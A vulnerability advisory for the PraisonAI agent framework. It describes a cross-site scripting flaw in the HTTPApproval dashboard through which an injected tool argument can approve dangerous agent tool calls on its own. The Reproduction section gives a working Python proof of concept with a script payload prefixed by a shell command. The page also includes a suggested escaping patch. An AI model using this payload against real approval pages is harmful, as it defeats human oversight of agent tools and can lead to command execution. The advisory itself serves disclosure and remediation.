Skip to content

GHSA-63v4-w882-g4x2 CVE-2026-56840 PYSEC-2026-3503

PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools

High PyPI
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.47% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
4.6.59
Upgrade praisonai to this version or later

Description

HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools

Summary

praisonai.bots.HTTPApproval renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's /approve/{request_id}/decide endpoint, causing HTTPApproval to return approved=True.

The local PoV uses a harmless touch /tmp/prai010 # command prefix and stops at the approval decision. It does not execute the command.

Affected Versions

Proposed affected range: >= 4.5.2, <= 4.6.57.

Validated affected:

  • current head 2f9677abb2ea68eab864ee8b6a828fd0141612e1 (v4.6.57-4-g2f9677ab)
  • v4.5.2
  • v4.5.3
  • v4.5.124
  • v4.5.126
  • v4.5.128
  • v4.6.10
  • v4.6.56
  • v4.6.57

v4.5.0 and v4.5.1 do not contain the HTTPApproval backend.

Impact

An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny.

This bypasses the human-in-the-loop approval boundary for dangerous tools such as execute_command, execute_code, delete_file, or other tools gated through HTTPApproval. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process.

Why This Is Not Intended Behavior

PraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists http as a supported non-console approval backend.

Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action.

This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned src/praisonai/api.py and missing nh3 sanitization in older versions. This report concerns the HTTPApproval dashboard sink and remains present in current head.

Root Cause

In src/praisonai/praisonai/bots/_http_approval.py, _build_html() builds the approval page with raw f-string interpolation:

  • argument keys and values are appended to args_html without HTML escaping;
  • tool_name, risk_level, and agent_name are also interpolated into the returned HTML;
  • the generated page contains same-origin JavaScript that posts to /approve/{request_id}/decide.

_handle_decide() accepts JSON from that endpoint and marks the pending request approved when decision == "approve".

Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from location.pathname.

Reproduction

The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where praisonai and praisonaiagents import from the candidate version.

import asyncio
import json
import socket

import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest


def free_port():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


payload = (
    "touch /tmp/prai010 # "
    "</code><script>"
    "fetch(location.pathname+'/decide',{"
    "method:'POST',headers:{'Content-Type':'application/json'},"
    "body:'{\"decision\":\"approve\"}'})"
    "</script><code>"
)


async def main():
    backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
    request = ApprovalRequest(
        tool_name="execute_command",
        arguments={"command": payload},
        risk_level="critical",
        agent_name="pov-agent",
    )
    task = asyncio.create_task(backend.request_approval(request))

    request_id = ""
    for _ in range(100):
        if backend._pending:
            request_id = next(iter(backend._pending))
            break
        await asyncio.sleep(0.05)
    assert request_id

    url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            page = await response.text()
        raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
        script_not_html_escaped = "&lt;script" not in page
        payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
        payload_not_truncated = "..." not in page[
            page.find("<script>"):page.find("<script>") + len(payload) + 10
        ]
        assert raw_script_present
        assert script_not_html_escaped
        assert payload_not_truncated

        # Same request the injected same-origin script submits.
        async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
            post_body = await response.text()

    decision = await task
    await backend.shutdown()
    print(json.dumps({
        "payload_len": len(payload),
        "payload_shell_prefix": "touch /tmp/prai010",
        "raw_script_present": raw_script_present,
        "script_not_html_escaped": script_not_html_escaped,
        "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
        "payload_not_truncated": payload_not_truncated,
        "post_body": post_body,
        "decision_approved": decision.approved,
        "decision_reason": decision.reason,
        "vulnerable": bool(
            raw_script_present
            and script_not_html_escaped
            and payload_uses_same_origin_decide_endpoint
            and payload_not_truncated
            and decision.approved
        ),
    }, indent=2))


asyncio.run(main())

Expected affected output includes:

{
  "payload_len": 175,
  "payload_shell_prefix": "touch /tmp/prai010",
  "raw_script_present": true,
  "script_not_html_escaped": true,
  "payload_uses_same_origin_decide_endpoint": true,
  "payload_not_truncated": true,
  "decision_approved": true,
  "vulnerable": true
}

The relevant injected argument shape is:

touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>

The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.

Suggested Fix

Escape every untrusted value before inserting it into the approval HTML:

  • tool_name
  • risk_level
  • agent_name
  • every argument key
  • every argument value

For example, use html.escape(str(value), quote=True) or a template engine that auto-escapes by default. Add regression tests that include </code><script>... in tool arguments and assert that the rendered page contains escaped text, not a script element.

Minimal patch shape:

from html import escape


def h(value: object) -> str:
    return escape(str(value), quote=True)


tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))

args_html = ""
for k, v in arguments.items():
    val_str = str(v)
    if len(val_str) > 200:
        val_str = val_str[:197] + "..."
    args_html += (
        f"<tr><td><code>{h(k)}</code></td>"
        f"<td><code>{h(val_str)}</code></td></tr>"
    )

Additional hardening:

  • avoid inline JavaScript and add a restrictive Content Security Policy;
  • keep the request id as an unguessable capability, but do not rely on it as an XSS defense;
  • consider requiring a per-request decision token outside attacker-controlled rendered argument fields.

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
>= 4.5.2, < 4.6.59
4.6.59

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.59

pip
pip install --upgrade "praisonai>=4.6.59"
poetry
poetry add "praisonai>=4.6.59"
uv
uv add "praisonai>=4.6.59"

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor